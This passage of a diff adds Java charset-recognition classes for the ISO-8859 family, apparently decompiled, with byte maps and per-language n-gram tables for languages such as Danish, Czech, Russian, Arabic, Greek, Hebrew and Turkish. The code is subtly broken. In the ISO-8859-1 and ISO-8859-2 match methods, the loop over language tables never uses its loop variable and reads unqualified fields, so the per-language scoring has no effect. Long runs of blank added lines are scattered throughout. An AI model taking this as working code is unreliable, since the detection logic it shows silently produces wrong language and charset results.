-3, -2, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, -3, -2, -1 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private static CharsetRecog_sbcs.NGramsPlusLang[] ngrams_8859_1 = { new CharsetRecog_sbcs.NGramsPlusLang("da", new int[] { 2122086, 2122100, 2122853, 2123118, 2123122, 2123375, 2123873, 2124064, 2125157, 2125671, 2126053, 2126697, 2126708, 2126953, 2127465, 6383136, 6385184, 6385252, 6386208, 6386720, 6579488, 6579566, 6579570, 6579572, 6627443, 6644768, 6644837, 6647328, 6647396, 6648352, 6648421, 6648608, 6648864, 6713202, 6776096, 6776174, 6776178, 6907749, 6908960, 6909543, 7038240, 7039845, 7103858, 7104871, 7105637, 7169380, 7234661, 7234848, 7235360, 7235429, 7300896, 7302432, 7303712, 7398688, 7479396, 7479397, 7479411, 7496992, 7566437, 7610483, 7628064, 7628146, 7629164, 7759218 }), new CharsetRecog_sbcs.NGramsPlusLang("de", new int[] { 2122094, 2122101, 2122341, 2122849, 2122853, 2122857, 2123113, 2123621, 2123873, 2124142, 2125161, 2126691, 2126693, 2127214, 2127461, 2127471, 2127717, 2128501, 6448498, 6514720, 6514789, 6514804, 6578547, 6579566, 6579570, 6580581, 6627428, 6627443, 6646126, 6646132, 6647328, 6648352, 6648608, 6776174, 6841710, 6845472, 6906728, 6907168, 6909472, 6909541, 6911008, 7104867, 7105637, 7217249, 7217252, 7217267, 7234592, 7234661, 7234848, 7235360, 7235429, 7238757, 7479396, 7496805, 7497065, 7562088, 7566437, 7610468, 7628064, 7628142, 7628146, 7695972, 7695975, 7759218 }), new CharsetRecog_sbcs.NGramsPlusLang("en", new int[] { 2122016, 2122094, 2122341, 2122607, 2123375, 2123873, 2123877, 2124142, 2125153, 2125670, 2125938, 2126437, 2126689, 2126708, 2126952, 2126959, 2127720, 6383972, 6384672, 6385184, 6385252, 6386464, 6386720, 6386789, 6386793, 6561889, 6561908, 6627425, 6627443, 6627444, 6644768, 6647412, 6648352, 6648608, 6713202, 6840692, 6841632, 6841714, 6906912, 6909472, 6909543, 6909806, 6910752, 7217249, 7217268, 7234592, 7235360, 7238688, 7300640, 7302688, 7303712, 7496992, 7500576, 7544929, 7544948, 7561577, 7566368, 7610484, 7628146, 7628897, 7628901, 7629167, 7630624, 7631648 }), new CharsetRecog_sbcs.NGramsPlusLang("es", new int[] { 2122016, 2122593, 2122607, 2122853, 2123116, 2123118, 2123123, 2124142, 2124897, 2124911, 2125921, 2125935, 2125938, 2126197, 2126437, 2126693, 2127214, 2128160, 6365283, 6365284, 6365285, 6365292, 6365296, 6382441, 6382703, 6384672, 6386208, 6386464, 6515187, 6516590, 6579488, 6579564, 6582048, 6627428, 6627429, 6627436, 6646816, 6647328, 6647412, 6648608, 6648692, 6907246, 6943598, 7102752, 7106419, 7217253, 7238757, 7282788, 7282789, 7302688, 7303712, 7303968, 7364978, 7435621, 7495968, 7497075, 7544932, 7544933, 7544944, 7562528, 7628064, 7630624, 7693600, 15953440 }), new CharsetRecog_sbcs.NGramsPlusLang("fr", new int[] { 2122101, 2122607, 2122849, 2122853, 2122869, 2123118, 2123124, 2124897, 2124901, 2125921, 2125935, 2125938, 2126197, 2126693, 2126703, 2127214, 2154528, 6385268, 6386793, 6513952, 6516590, 6579488, 6579571, 6583584, 6627425, 6627427, 6627428, 6627429, 6627436, 6627440, 6627443, 6647328, 6647412, 6648352, 6648608, 6648864, 6649202, 6909806, 6910752, 6911008, 7102752, 7103776, 7103859, 7169390, 7217252, 7234848, 7238432, 7238688, 7302688, 7302772, 7304562, 7435621, 7479404, 7496992, 7544929, 7544932, 7544933, 7544940, 7544944, 7610468, 7628064, 7629167, 7693600, 7696928 }), new CharsetRecog_sbcs.NGramsPlusLang("it", new int[] { 2122092, 2122600, 2122607, 2122853, 2122857, 2123040, 2124140, 2124142, 2124897, 2125925, 2125938, 2127214, 6365283, 6365284, 6365296, 6365299, 6386799, 6514789, 6516590, 6579564, 6580512, 6627425, 6627427, 6627428, 6627433, 6627436, 6627440, 6627443, 6646816, 6646892, 6647412, 6648352, 6841632, 6889569, 6889571, 6889572, 6889587, 6906144, 6908960, 6909472, 6909806, 7102752, 7103776, 7104800, 7105633, 7234848, 7235872, 7237408, 7238757, 7282785, 7282788, 7282793, 7282803, 7302688, 7302757, 7366002, 7495968, 7496992, 7563552, 7627040, 7628064, 7629088, 7630624, 8022383 }), new CharsetRecog_sbcs.NGramsPlusLang("nl", new int[] { 2122092, 2122341, 2122849, 2122853, 2122857, 2123109, 2123118, 2123621, 2123877, 2124142, 2125153, 2125157, 2125680, 2126949, 2127457, 2127461, 2127471, 2127717, 2128489, 6381934, 6381938, 6385184, 6385252, 6386208, 6386720, 6514804, 6579488, 6579566, 6579570, 6627426, 6627446, 6645102, 6645106, 6647328, 6648352, 6648435, 6648864, 6776174, 6841716, 6907168, 6909472, 6909543, 6910752, 7217250, 7217252, 7217253, 7217256, 7217263, 7217270, 7234661, 7235360, 7302756, 7303026, 7303200, 7303712, 7562088, 7566437, 7610468, 7628064, 7628142, 7628146, 7758190, 7759218, 7761775 }), new CharsetRecog_sbcs.NGramsPlusLang("no", new int[] { 2122100, 2122102, 2122853, 2123118, 2123122, 2123375, 2123873, 2124064, 2125157, 2125671, 2126053, 2126693, 2126699, 2126703, 2126708, 2126953, 2127465, 2155808, 6385252, 6386208, 6386720, 6579488, 6579566, 6579572, 6627443, 6644768, 6647328, 6647397, 6648352, 6648421, 6648864, 6648948, 6713202, 6776174, 6908779, 6908960, 6909543, 7038240, 7039845, 7103776, 7105637, 7169380, 7169390, 7217267, 7234848, 7235360, 7235429, 7237221, 7300896, 7302432, 7303712, 7398688, 7479411, 7496992, 7565165, 7566437, 7610483, 7628064, 7628142, 7628146, 7629164, 7631904, 7631973, 7759218 }), new CharsetRecog_sbcs.NGramsPlusLang("pt", new int[] { 2122016, 2122607, 2122849, 2122853, 2122863, 2123040, 2123123, 2125153, 2125423, 2125600, 2125921, 2125935, 2125938, 2126197, 2126437, 2126693, 2127213, 6365281, 6365283, 6365284, 6365296, 6382693, 6382703, 6384672, 6386208, 6386273, 6386464, 6516589, 6516590, 6578464, 6579488, 6582048, 6582131, 6627425, 6627428, 6647072, 6647412, 6648608, 6648692, 6906144, 6906721, 7169390, 7238757, 7238767, 7282785, 7282787, 7282788, 7282789, 7282800, 7303968, 7364978, 7435621, 7495968, 7497075, 7544929, 7544932, 7544933, 7544944, 7566433, 7628064, 7630624, 7693600, 14905120, 15197039 }), new CharsetRecog_sbcs.NGramsPlusLang("sv", new int[] { 2122100, 2122102, 2122853, 2123118, 2123510, 2123873, 2124064, 2124142, 2124655, 2125157, 2125667, 2126053, 2126699, 2126703, 2126708, 2126953, 2127457, 2127465, 2155634, 6382693, 6385184, 6385252, 6386208, 6386804, 6514720, 6579488, 6579566, 6579570, 6579572, 6644768, 6647328, 6648352, 6648864, 6747762, 6776174, 6909036, 6909543, 7037216, 7105568, 7169380, 7217267, 7233824, 7234661, 7235360, 7235429, 7235950, 7299944, 7302432, 7302688, 7398688, 7479393, 7479411, 7495968, 7564129, 7565165, 7610483, 7627040, 7628064, 7628146, 7629164, 7631904, 7758194, 14971424, 16151072 }) };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_1() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1252" : "ISO-8859-1";
+      int bestConfidenceSoFar = -1;
+      String lang = null;
+      for (CharsetRecog_sbcs.NGramsPlusLang ngl : ngrams_8859_1) {
+        int confidence = match(det, fNGrams, byteMap);
+        if (confidence > bestConfidenceSoFar) {
+          bestConfidenceSoFar = confidence;
+          lang = fLang;
+        }
+      }
+      return bestConfidenceSoFar <= 0 ? null : new CharsetMatch(det, this, bestConfidenceSoFar, name, lang);
+    }
+    
+
+    public String getName()
+    {
+      return "ISO-8859-1";
+    }
+  }
+  
+  static class CharsetRecog_8859_2
+    extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -79, 32, -77, 32, -75, -74, 32, 32, -71, -70, -69, -68, 32, -66, -65, 32, -79, 32, -77, 32, -75, -74, -73, 32, -71, -70, -69, -68, 32, -66, -65, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, -3, -2, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, -3, -2, 32 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private static CharsetRecog_sbcs.NGramsPlusLang[] ngrams_8859_2 = { new CharsetRecog_sbcs.NGramsPlusLang("cs", new int[] { 2122016, 2122361, 2122863, 2124389, 2125409, 2125413, 2125600, 2125668, 2125935, 2125938, 2126072, 2126447, 2126693, 2126703, 2126708, 2126959, 2127392, 2127481, 2128481, 6365296, 6513952, 6514720, 6627440, 6627443, 6627446, 6647072, 6647533, 6844192, 6844260, 6910836, 6972704, 7042149, 7103776, 7104800, 7233824, 7268640, 7269408, 7269664, 7282800, 7300206, 7301737, 7304052, 7304480, 7304801, 7368548, 7368554, 7369327, 7403621, 7562528, 7565173, 7566433, 7566441, 7566446, 7628146, 7630573, 7630624, 7676016, 12477728, 14773997, 15296623, 15540336, 15540339, 15559968, 16278884 }), new CharsetRecog_sbcs.NGramsPlusLang("hu", new int[] { 2122016, 2122106, 2122341, 2123111, 2123116, 2123365, 2123873, 2123887, 2124147, 2124645, 2124649, 2124790, 2124901, 2125153, 2125157, 2125161, 2125413, 2126714, 2126949, 2156915, 6365281, 6365291, 6365293, 6365299, 6384416, 6385184, 6388256, 6447470, 6448494, 6645625, 6646560, 6646816, 6646885, 6647072, 6647328, 6648421, 6648864, 6648933, 6648948, 6781216, 6844263, 6909556, 6910752, 7020641, 7075450, 7169383, 7170414, 7217249, 7233899, 7234923, 7234925, 7238688, 7300985, 7544929, 7567973, 7567988, 7568097, 7596391, 7610465, 7631904, 7659891, 8021362, 14773792, 15299360 }), new CharsetRecog_sbcs.NGramsPlusLang("pl", new int[] { 2122618, 2122863, 2124064, 2124389, 2124655, 2125153, 2125161, 2125409, 2125417, 2125668, 2125935, 2125938, 2126697, 2127648, 2127721, 2127737, 2128416, 2128481, 6365296, 6365303, 6385257, 6514720, 6519397, 6519417, 6582048, 6584937, 6627440, 6627443, 6627447, 6627450, 6645615, 6646304, 6647072, 6647401, 6778656, 6906144, 6907168, 6907242, 7037216, 7039264, 7039333, 7170405, 7233824, 7235937, 7235941, 7282800, 7305057, 7305065, 7368556, 7369313, 7369327, 7369338, 7502437, 7502457, 7563754, 7564137, 7566433, 7825765, 7955304, 7957792, 8021280, 8022373, 8026400, 15955744 }), new CharsetRecog_sbcs.NGramsPlusLang("ro", new int[] { 2122016, 2122083, 2122593, 2122597, 2122607, 2122613, 2122853, 2122857, 2124897, 2125153, 2125925, 2125938, 2126693, 2126819, 2127214, 2144873, 2158190, 6365283, 6365284, 6386277, 6386720, 6386789, 6386976, 6513010, 6516590, 6518048, 6546208, 6579488, 6627425, 6627427, 6627428, 6627440, 6627443, 6644000, 6646048, 6646885, 6647412, 6648692, 6889569, 6889571, 6889572, 6889584, 6907168, 6908192, 6909472, 7102752, 7103776, 7106418, 7107945, 7234848, 7238770, 7303712, 7365998, 7496992, 7497057, 7501088, 7594784, 7628064, 7631477, 7660320, 7694624, 7695392, 12216608, 15625760 }) };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_2() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1250" : "ISO-8859-2";
+      int bestConfidenceSoFar = -1;
+      String lang = null;
+      for (CharsetRecog_sbcs.NGramsPlusLang ngl : ngrams_8859_2) {
+        int confidence = match(det, fNGrams, byteMap);
+        if (confidence > bestConfidenceSoFar) {
+          bestConfidenceSoFar = confidence;
+          lang = fLang;
+        }
+      }
+      return bestConfidenceSoFar <= 0 ? null : new CharsetMatch(det, this, bestConfidenceSoFar, name, lang);
+    }
+    
+    public String getName()
+    {
+      return "ISO-8859-2";
+    }
+  }
+  
+
+  static abstract class CharsetRecog_8859_5
+    extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, 32, -2, -1, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -37, -36, -35, -34, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -37, -36, -35, -34, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, 32, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, 32, -2, -1 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_5() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-5";
+    }
+  }
+  
+  static class CharsetRecog_8859_5_ru extends CharsetRecog_sbcs.CharsetRecog_8859_5
+  {
+    private static int[] ngrams = { 2150944, 2151134, 2151646, 2152400, 2152480, 2153168, 2153182, 2153936, 2153941, 2154193, 2154462, 2154464, 2154704, 2154974, 2154978, 2155230, 2156514, 2158050, 13688280, 13689580, 13884960, 14015468, 14015960, 14016994, 14017056, 14164191, 14210336, 14211104, 14216992, 14407133, 14407712, 14413021, 14536736, 14538016, 14538965, 14538991, 14540320, 14540498, 14557394, 14557407, 14557409, 14602784, 14602960, 14603230, 14604576, 14605292, 14605344, 14606818, 14671579, 14672085, 14672088, 14672094, 14733522, 14734804, 14803664, 14803666, 14803672, 14806816, 14865883, 14868000, 14868192, 14871584, 15196894, 15459616 };
+    
+
+
+    CharsetRecog_8859_5_ru() {}
+    
+
+    public String getLanguage()
+    {
+      return "ru";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static abstract class CharsetRecog_8859_6 extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -53, -52, -51, -50, -49, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, 32, 32, 32, 32, 32, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_6() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-6";
+    }
+  }
+  
+  static class CharsetRecog_8859_6_ar extends CharsetRecog_sbcs.CharsetRecog_8859_6
+  {
+    private static int[] ngrams = { 2148324, 2148326, 2148551, 2152932, 2154986, 2155748, 2156006, 2156743, 13050055, 13091104, 13093408, 13095200, 13100064, 13100227, 13100231, 13100232, 13100234, 13100236, 13100237, 13100239, 13100243, 13100249, 13100258, 13100261, 13100264, 13100266, 13100320, 13100576, 13100746, 13115591, 13181127, 13181153, 13181156, 13181157, 13181160, 13246663, 13574343, 13617440, 13705415, 13748512, 13836487, 14229703, 14279913, 14805536, 14950599, 14993696, 15001888, 15002144, 15016135, 15058720, 15059232, 15066656, 15081671, 15147207, 15189792, 15255524, 15263264, 15278279, 15343815, 15343845, 15343848, 15386912, 15388960, 15394336 };
+    
+
+
+    CharsetRecog_8859_6_ar() {}
+    
+
+    public String getLanguage()
+    {
+      return "ar";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static abstract class CharsetRecog_8859_7 extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -95, -94, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -36, 32, -35, -34, -33, 32, -4, 32, -3, -2, -64, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, 32, -13, -12, -11, -10, -9, -8, -7, -6, -5, -36, -35, -34, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, 32 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_7() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-7";
+    }
+  }
+  
+  static class CharsetRecog_8859_7_el extends CharsetRecog_sbcs.CharsetRecog_8859_7
+  {
+    private static int[] ngrams = { 2154989, 2154992, 2155497, 2155753, 2156016, 2156320, 2157281, 2157797, 2158049, 2158368, 2158817, 2158831, 2158833, 2159604, 2159605, 2159847, 2159855, 14672160, 14754017, 14754036, 14805280, 14806304, 14807292, 14807584, 14936545, 15067424, 15069728, 15147252, 15199520, 15200800, 15278324, 15327520, 15330014, 15331872, 15393257, 15393268, 15525152, 15540449, 15540453, 15540464, 15589664, 15725088, 15725856, 15790069, 15790575, 15793184, 15868129, 15868133, 15868138, 15868144, 15868148, 15983904, 15984416, 15987951, 16048416, 16048617, 16050157, 16050162, 16050666, 16052000, 16052213, 16054765, 16379168, 16706848 };
+    
+
+
+    CharsetRecog_8859_7_el() {}
+    
+
+    public String getLanguage()
+    {
+      return "el";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1253" : "ISO-8859-7";
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence, name, "el");
+    }
+  }
+  
+  static abstract class CharsetRecog_8859_8 extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -75, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, 32, 32, 32, 32, 32 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_8() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-8";
+    }
+  }
+  
+  static class CharsetRecog_8859_8_I_he extends CharsetRecog_sbcs.CharsetRecog_8859_8
+  {
+    private static int[] ngrams = { 2154725, 2154727, 2154729, 2154746, 2154985, 2154990, 2155744, 2155749, 2155753, 2155758, 2155762, 2155769, 2155770, 2157792, 2157796, 2158304, 2159340, 2161132, 14744096, 14950624, 14950625, 14950628, 14950636, 14950638, 14950649, 15001056, 15065120, 15068448, 15068960, 15071264, 15071776, 15278308, 15328288, 15328762, 15329773, 15330592, 15331104, 15333408, 15333920, 15474912, 15474916, 15523872, 15524896, 15540448, 15540449, 15540452, 15540460, 15540462, 15540473, 15655968, 15671524, 15787040, 15788320, 15788525, 15920160, 16261348, 16312813, 16378912, 16392416, 16392417, 16392420, 16392428, 16392430, 16392441 };
+    
+
+
+
+    CharsetRecog_8859_8_I_he() {}
+    
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-8";
+    }
+    
+    public String getLanguage()
+    {
+      return "he";
+    }
+    
+
+
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1255" : "ISO-8859-8";
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence, name, "he");
+    }
+  }
+  
+  static class CharsetRecog_8859_8_he extends CharsetRecog_sbcs.CharsetRecog_8859_8
+  {
+    private static int[] ngrams = { 2154725, 2154732, 2155753, 2155756, 2155758, 2155760, 2157040, 2157810, 2157817, 2158053, 2158057, 2158565, 2158569, 2160869, 2160873, 2161376, 2161381, 2161385, 14688484, 14688492, 14688493, 14688506, 14738464, 14738916, 14740512, 14741024, 14754020, 14754029, 14754042, 14950628, 14950633, 14950636, 14950637, 14950639, 14950648, 14950650, 15002656, 15065120, 15066144, 15196192, 15327264, 15327520, 15328288, 15474916, 15474925, 15474938, 15528480, 15530272, 15591913, 15591920, 15591928, 15605988, 15605997, 15606010, 15655200, 15655968, 15918112, 16326884, 16326893, 16326906, 16376864, 16441376, 16442400, 16442857 };
+    
+
+
+    CharsetRecog_8859_8_he() {}
+    
+
+    public String getLanguage()
+    {
+      return "he";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1255" : "ISO-8859-8";
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence, name, "he");
+    }
+  }
+  
+  static abstract class CharsetRecog_8859_9
+    extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -86, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -75, 32, 32, 32, 32, -70, 32, 32, 32, 32, 32, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, 105, -2, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, -3, -2, -1 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_8859_9() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "ISO-8859-9";
+    }
+  }
+  
+  static class CharsetRecog_8859_9_tr extends CharsetRecog_sbcs.CharsetRecog_8859_9
+  {
+    private static int[] ngrams = { 2122337, 2122345, 2122357, 2122849, 2122853, 2123621, 2123873, 2124140, 2124641, 2124655, 2125153, 2125676, 2126689, 2126945, 2127461, 2128225, 6365282, 6384416, 6384737, 6384993, 6385184, 6385405, 6386208, 6386273, 6386429, 6386685, 6388065, 6449522, 6578464, 6579488, 6580512, 6627426, 6627435, 6644841, 6647328, 6648352, 6648425, 6648681, 6909029, 6909472, 6909545, 6910496, 7102830, 7102834, 7103776, 7103858, 7217249, 7217250, 7217259, 7234657, 7234661, 7234848, 7235872, 7235950, 7273760, 7498094, 7535982, 7759136, 7954720, 7958386, 16608800, 16608868, 16609021, 16642301 };
+    
+
+
